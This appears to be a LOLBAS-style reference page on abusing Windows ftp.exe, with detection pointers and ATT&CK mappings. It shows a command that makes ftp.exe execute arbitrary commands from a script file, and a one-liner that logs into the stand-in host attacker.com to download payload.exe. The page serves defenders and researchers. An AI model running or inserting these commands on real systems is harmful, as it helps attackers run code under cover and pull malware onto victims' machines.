

# .. /Ftp.exe

[Execute](#)[Download](#)

A binary designed for connecting to FTP servers

## Paths:

C:\Windows\System32\ftp.exe

C:\Windows\SysWOW64\ftp.exe

## Resources:

- <https://twitter.com/0xAmit/status/1070063130636640256>
- <https://medium.com/@0xamit/lets-talk-about-security-research-discoveries-and-proper-discussion-etiquette-on-twitter-10f9be6d1939>
- <https://ss64.com/nt/ftp.html>
- <https://www.asafety.fr/vuln-exploit-poc/windows-dos-powershell-upload-de-fichier-en-ligne-de-commande-one-liner/>

## Acknowledgements:

- Casey Smith ([@subtee](#))
- BennyHusted
- Amit Serper ([@0xAmit](#))

## Detections:

- Sigma:  
[https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process\\_creation/proc\\_creation\\_win\\_lolbin\\_ftp.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_ftp.yml)
- IOC: cmd /c as child process of ftp.exe

## Execute

Executes the commands you put inside the text file.

```
echo !calc.exe > ftpcommands.txt && ftp -s:ftpcommands.txt
```

<b>Use case:</b>	Spawn new process using ftp.exe. Ftp.exe runs cmd /C YourCommand
<b>Privileges required:</b>	User
<b>Operating systems:</b>	Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
<b>ATT&amp;CK® technique:</b>	T1202

## Download

Download

```
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
```

**Use case:** Spawn new process using ftp.exe. Ftp.exe downloads the binary.

**Privileges required:** User

**Operating systems:** Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

**ATT&CK® technique:** T1105